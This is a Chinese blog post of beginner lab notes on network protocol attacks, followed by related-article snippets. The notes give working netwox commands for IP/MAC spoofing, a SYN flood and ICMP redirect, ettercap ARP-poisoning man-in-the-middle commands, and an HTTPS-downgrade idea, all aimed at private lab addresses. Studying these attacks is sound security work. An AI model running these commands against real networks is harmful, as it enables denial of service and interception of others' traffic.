协议攻击(一)

最新推荐文章于 2025-01-06 22:49:15 发布
最新推荐文章于 2025-01-06 22:49:15 发布
阅读量637 收藏 4
点赞数
分类专栏： 后渗透 文章标签： 渗透
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_30053489/article/details/108506564
版权

协议攻击

一.什么是协议

网络协议是通信计算机双方必须共同遵从的一组约定。

什么是安全？

违背开发者建设者使用者意愿的都可以称之为安全隐患

ISO是一个标准组织

二.HTTP请求有八种请求

  • GET请求：最长300多位
  • HEAD请求：跟GET请求一样，不过只会返回请求头，不会返回请求体
  • POST请求：是用表单提交，
  • PUT请求：向指定资源位置上传其最新内容。
  • DELETE请求：请求删除Request-URI所标识的资源
  • TRACE请求：回显服务器收到的请求，主要用于测试或诊断
  • OPTIONS请求：这个方法可以看服务器支持哪些HTTP的请求方式
  • CONNECT请求：是HTTP/1.1 差不多就是保留的请求方式，生产上用的特别少

三.伪造IP攻击命令

netwox 52 -E "0:1:2:3:4:5" -I "192.168.100.125" -e "00:0c:29:83:36:d7" -i "192.168.100.151"

netwox是工具 52是伪造IP攻击方式 MAC是伪造后的MAC 伪造的IP地址 伪造的MAC地址 目标IP地址

netwox 76 -i 192.168.100.151 -p 80

76 是syn泛洪且发送一次tcp连接请求，就改一次源IP 选择ip和端口就可以了

netstat -antu|grep :80

查看80端口连接的状态

tcpdump –i eth0 tcp port 80 -n –nn

查看eth0网卡的80端口的数据包

四.ARP欺诈

ARP欺诈就是利用ARP广播寻找IP的方式来进行欺诈

一直保持这种欺诈关系就要利用ARP毒化，受害者发送一次，攻击者发送一百次，受害者一发送就被覆盖了

ettercap -i eth0 -Tq -M arp:remote /192.168.100.142// /192.168.100.1//

选择ettercap工具 选择网卡 +目标主机IP +网关IP

开启kali转发功能

echo 1 > /proc/sys/net/ipv4/ip_forward
cat /proc/sys/net/ipv4/ip_forward

开启监听本地网卡

ettercap -Tq -i eth0

如果目标访问的是https的网站，可以利用中间人降为攻击，

有两种方式，一种是左右两方都是https协议你跟服务器端做加解密

第二种是中间人和受害者是http协议，中间人和服务器端是https的

五.ICMP重定向攻击

echo 1 > /proc/sys/net/ipv4/conf/all/accept_redirects
echo 1 > /proc/sys/net/ipv4/conf/eth0/accept_redirects
echo 1 > /proc/sys/net/ipv4/conf/default/accept_redirects

以上三个全置为一

netwox 86 -g 192.168.100.148 -i 192.168.100.2

工具名 攻击编号 选择 自己的IP 选择 网关

网络协议攻击-01-传输层协议攻击
xhxtalent的博客
11-28 4158
传输层协议攻击 前言 传输层的主要协议是TCP、UDP。 流行的攻击方式： TCP RST攻击 TCP会话劫持攻击 TCP SYN洪泛拒绝服务攻击 TCP RST 攻击 又称伪造TCP重置报文攻击，假冒干扰TCP通信连接的技术方法。 在TCP协议头的标志位中拥有一个“reset”比特位，绝大部分数据包中该标志位都置为０，而一旦该标志为置为１，则接收该数据包的主机将立即断开这个TCP会话连接，不再利用该连接进行数据包发送和接收。 危害： 当恶意攻击者滥用TCP重置报文，就会对正常的网络通信造成严重。 ​
网络协议攻击-02-网络层协议攻击
xhxtalent的博客
11-29 3067
网络层协议攻击 前言 本篇主要讲述网络层协议的攻击方式、原理及防御方法。 网络层协议攻击主要有IP源地址欺骗、ARP欺骗和ICMP路由重定向攻击。 IP源地址欺骗 ​ 简单来说：是指攻击者伪造具有虚假源地址的IP数据包进行发送，以达到隐藏发生者身份、假冒其他计算机的目的。 原理 ​ 攻击能实现的原因主要是：IP协议只使用数据包中的目标地址进行路由转发，而不对源地址进行真实性的验证。 ​ 攻击者对数据包进行修改IP协议包头，使其包含一个不同的虚假IP地址，看起来像其他地址发出的，从而达到欺骗目标和隐藏发送源的
什么是协议攻击？
m0_70655343的博客
06-10 600
网络攻击形式多种多样，我们知道的有DDOS攻击，另外一种比较多的是协议攻击，什么是协议攻击，根据了解协议攻击是DDOS攻击中的一种，其中路由攻击是近几年最流行的协议攻击。网络设备之间为了交换路由信息，常常运行一些动态的路由协议，这些路由协议可以完成诸如路由表的建立，路由信息的分发等功能。常见...
网络协议安全的攻击手法
最新发布
chinese_cabbage0的博客
01-06 1823
基于以上原理，某台PC不断发送去往未知目的地的数据帧，且每个包源MAC地址都不同，当这样的数据包发送地速度足够快后，快到在刷新时间内将交换机的CAM表迅速填满，CAM表被这些伪造的mac地址占据，真实的mac地址条目却无法进入CAM表，那么任何一个经过交换机的正常单播数据帧都会以广播形式来处理，交换机在这一情况下被降级为HUB，交换机降级为HUB后，我们就可以监听所有连接到交换机上的主机的数据了。地址池还有252个可以使用，我们重启kali，kali获取一个就还剩251个了，然后我们继续操作。
协议攻击
砌墙的保安
09-22 2679
文章目录协议攻击IP源地址欺骗dos攻击原理步骤防御ARP欺骗中间人攻击原理步骤防御ICMP路由重定向攻击和防御原理步骤总结TCP协议RST攻击原理步骤防御SYN Flood攻击原理步骤防御UDP Flood攻击原理步骤防御http慢速攻击概念攻击种类参数介绍命令DNS欺骗原理步骤防御TCP会话劫持攻击原理步骤 协议攻击 IP源地址欺骗dos攻击 靶机1：Ubuntu 16.04 192.168.100.147 攻击机：kali 2019 192.168.100.100 网络拓扑环境：攻击机和靶
协议攻击（一）
这是笔者初学时所做的笔记，有错误的地方太多了，有些结论也只是笔者的一家之言。请自行判断
10-02 6902
目录1.IP源地址欺骗攻击（dos攻击）原理：实验环境步骤1.2 dos攻击2.ARP欺骗中间人攻击原理实验环境步骤 1.IP源地址欺骗攻击（dos攻击） 原理： 客户端（kali）基于tcp第一次握手，给服务器端（centos）发送了大量标记位为SYN的包。 服务器端收到来自客户端的syn包后，对源ip返回标记位为syn_ack的包，这是第二次握手。 由于源ip是伪造的，所以返回的syn_ack包发送不到正确的地方，更不要说得到回应了。所以服务器端一直是SYN-RCVD阶段。 实验环境 靶机：cento
多协议底层攻击工具Yesinia
大学霸__IT达人
04-07 1308
多协议底层攻击工具Yesinia
一种抗重放攻击的Web 服务认证协议 (2011年)
06-14
为此，提出一种抗重放攻击的Web 服务认证协议。基于时间戳/消息ID 缓存的抗重放攻击方法，利用简单对象访问协议的请求/响应消息和WS-Security 规范设计双向认证协议，使用Axis2 的Module 机制加以实现。实验结果表明...
基于OPNET的分布式协议攻击的性能研究.pdf
08-08
标题《基于OPNET的分布式协议攻击的性能研究》和描述表明，文章重点探讨了利用OPNET仿真软件对水声网络中的分布式协议攻击进行性能分析的课题。分布式协议攻击是指使用多个节点协调配合，通过控制协议层面，对目标...
网络攻击2——针对TCP/IP各个协议层的攻击
m0_49864110的博客
11-12 5556
报文的长度字段为16位，即IP报文的最大长度为65535 B，死亡平Ping利用一些长度超大的ICMP报文对系统进行攻击。把报文的源地址和目标地址都设置成某一个受害者的IP地址（源是127网段地址，目的地址是服务器地址），这将导致受害者向它自己的地址发送SYN-ACK消息，结果这个地址又发回ACK消息并创建一个空连接，伪造一个源地址（可以是真实的源地址，也可以是虚假的源地址）的SYN报文大量发给受害者，受害者收到后回应SYN ACK报文，但是受害者不会再收到ACK报文，这就导致受害主机保持了大量的半连接。
网络协议攻击
03-21
What’s in This Book? This book contains a mix of theoretical and practical chapters. For the practical chapters, I’ve developed and made available a networking library called Canape Core, which you can use to build your own tools for protocol analysis and exploitation. I’ve also provided an example networked application called SuperFunkyChat, which implements a userto-user chat protocol. By following the discussions in the chapters, you can use the example application to learn the skills of protocol analysis and attack the sample network protocols. Here is a brief breakdown of each chapter: Chapter 1: The Basics of Networking This chapter describes the basics of computer networking with a particular focus on TCP/IP, which forms the basis of application-level network protocols. Subsequent chapters assume that you have a good grasp of the network basics. This chapter also introduces the approach I use to model application protocols. The model breaks down the application protocol into flexible layers and abstracts complex technical detail, allowing you to focus on the bespoke parts of the protocol you’re analyzing. Chapter 2: Capturing Application Traffic This chapter introduces the concepts of passive and active capture of network traffic, and it’s the first chapter to use the Canape Core network libraries for practical tasks. Chapter 3: Network Protocol Structures Download from finelybook www.finelybook.com 24This chapter contains details of the internal structures that are common across network protocols, such as the representation of numbers or human-readable text. When you’re analyzing captured network traffic, you can use this knowledge to quickly identify common structures, speeding up your analysis. Chapter 4: Advanced Application Traffic Capture This chapter explores a number of more advanced capture techniques that complement the examples in Chapter 2. The advanced capture techniques include configuring Network Address Translation to redirect traffic of interest and spoofing the address resolution protocol. Chapter 5: Analysis from the Wire This chapter introduces methods for analyzing captured network traffic using the passive and active techniques described in Chapter 2. In this chapter, we begin using the SuperFunkyChat application to generate example traffic. Chapter 6: Application Reverse Engineering This chapter describes techniques for reverse engineering networkconnected programs. Reverse engineering allows you to analyze a protocol without needing to capture example traffic. These methods also help to identify how custom encryption or obfuscation is implemented so you can better analyze traffic you’ve captured. Chapter 7: Network Protocol Security This chapter provides background information on techniques and cryptographic algorithms used to secure network protocols. Protecting the contents of network traffic from disclosure or tampering as it travels over public networks is of the utmost importance for network protocol security. Chapter 8: Implementing the Network Protocol This chapter explains techniques for implementing the application Download from finelybook www.finelybook.com 25network protocol in your own code so you can test the protocol’s behavior to find security weaknesses. Chapter 9: The Root Causes of Vulnerabilities This chapter describes common security vulnerabilities you’ll encounter in a network protocol. When you understand the root causes of vulnerabilities, you can more easily identify them during analysis. Chapter 10: Finding and Exploiting Security Vulnerabilities This chapter describes processes for finding security vulnerabilities based on the root causes in Chapter 9 and demonstrates a number of ways of exploiting them, including developing your own shell code and bypassing exploit mitigations through return-oriented programming. Appendix: Network Protocol Analysis Toolkit In the appendix, you’ll find descriptions of some of the tools I commonly use when performing network protocol analysis. Many of the tools are described briefly in the main body of the text as well. How to Use This Book If you want to start with a refresher on the basics of networking, read Chapter 1 first. When you’re familiar with the basics, proceed to Chapters 2, 3, and 5 for practical experience in capturing network traffic and learning the network protocol analysis process. With the knowledge of the principles of network traffic capture and analysis, you can then move on to Chapters 7 through 10 for practical information on how to find and exploit security vulnerabilities in these protocols. Chapters 4 and 6 contain more advanced information about additional capture techniques and application reverse engineering, so you can read them after you’ve read the other chapters if you prefer. For the practical examples, you’ll need to install .NET Core Download from finelybook www.finelybook.com 26(https://www.microsoft.com/net/core/), which is a cross-platform version of the .NET runtime from Microsoft that works on Windows, Linux, and macOS. You can then download releases for Canape Core from https://github.com/tyranid/CANAPE.Core/releases/ and SuperFunkyChat from https://github.com/tyranid/ExampleChatApplication/releases/; both use .NET Core as the runtime. Links to each site are available with the book’s resources at https://www.nostarch.com/networkprotocols/. To execute the example Canape Core scripts, you’ll need to use the CANAPE.Cli application, which will be in the release package downloaded from the Canape Core Github repository. Execute the script with the following command line, replacing script.csx with the name of the script you want to execute.
TCP/IP协议攻击实验1
热门推荐
Lauhoman的博客
05-18 2万+
TCP/IP协议攻击实验1实验环境： Linux ubuntu 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux 安装工具1、Wiresharksudo apt-get install wireshark2、Netwagsudo apt-get install
协议攻击（二）
这是笔者初学时所做的笔记，有错误的地方太多了，有些结论也只是笔者的一家之言。请自行判断
10-02 2302
HTTP慢速攻击也叫slow http attack，是一种DoS攻击的方式。由于HTTP请求底层使用TCP网络连接进行会话，因此如果中间件对会话超时时间设置不合理，并且HTTP在发送请求的时候采用慢速发HTTP请求，就会导致占用一个HTTP连接会话。如果发送大量慢速的HTTP包就会导致拒绝服务攻击DoS。 Slow headers(也称slowloris)：Web应用在处理HTTP请求之前都要先接收完所有的HTTP头部，Web服务器再没接收到2个连续的\r\n时，会认为客户端没有发送完头部，而持续的等等
网络协议——DoS攻击
GoodLuck_wu5的博客
08-25 619
拒绝服务攻击DoS(Denial of Service)：使系统过于忙碌而不能执行有用的业务并且占尽关键系统资源。就是利用合理的服务请求来占用过多的服务资源，从而使合法用户无法得到服务的响应。 它是基于这样的思想：用数据包淹没本地系统，以打扰或严重阻止捆绑本地的服务响应外来合法的请求，甚至使本地系统崩溃。 实现Dos攻击，常见的方式有：TCP SYN泛洪(SYN Flood)，ping泛洪(ping-Flood)，UDP泛洪(UDP-Flood)，分片炸弹(fragmentation bombs)，缓冲区溢
TCP/IP网络协议攻击
weixin_30849591的博客
04-08 926
kali视频学习请看 http://www.cnblogs.com/lidong20179210/p/8909569.html 这部分涉及： ARP缓存欺骗攻击 ICMP重定向攻击 SYN FLOOD攻击 TCP RST攻击 TCP会话劫持攻击 Netwox原始报文伪造工具 网络层攻击： (1) ARP 缓存欺骗 ARP 缓存是 ARP 协议的重要组成部分。当使用 ARP 协议解析了某...
协议栈攻击分类（CISP-PTE笔记）
土豆片的博客
11-06 802
1.协议栈自身的脆弱性​ 1）缺乏数据源验证机制​ 2）缺乏完整性验证机制​ 3）缺乏机密性验证机制2.网络接口层攻击3.网络层攻击4.应用层攻击。
身份认证协议攻击：黑客不希望你了解的事情
m8330466的博客
03-28 607
身份认证协议是计算机网络中实现身份验证和授权的基本机制。随着互联网的发展，越来越多的应用程序需要提供对远程用户的访问控制和身份认证机制。为了更加安全和可靠地实现身份认证，人们不断地提出新的身份认证协议，例如基于密钥的Kerberos协议、基于XML的SAML协议、基于开放标准的OAuth2.0协议等。这些协议都各自具有不同的特点和应用场景，为用户提供了更加安全、智能和便捷的身份认证服务。未来随着新技术的涌现，身份认证协议也将继续发展和创新，为用户带来更好的使用体验。
Tomcat AJP协议攻击
05-26
Tomcat AJP协议攻击是一种利用Tomcat应用服务器中的AJP（Apache JServ 协议）协议漏洞或存在弱口令等安全问题的攻击方式。攻击者通过AJP协议访问Tomcat应用服务器的服务端口，从而获得未授权的对应用程序的访问权限。攻击者可以利用该漏洞实施远程代码执行攻击、敏感信息泄露等多种攻击手段。为有效遏制此类攻击，应当及时修复漏洞，并加强对应用程序的访问控制。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值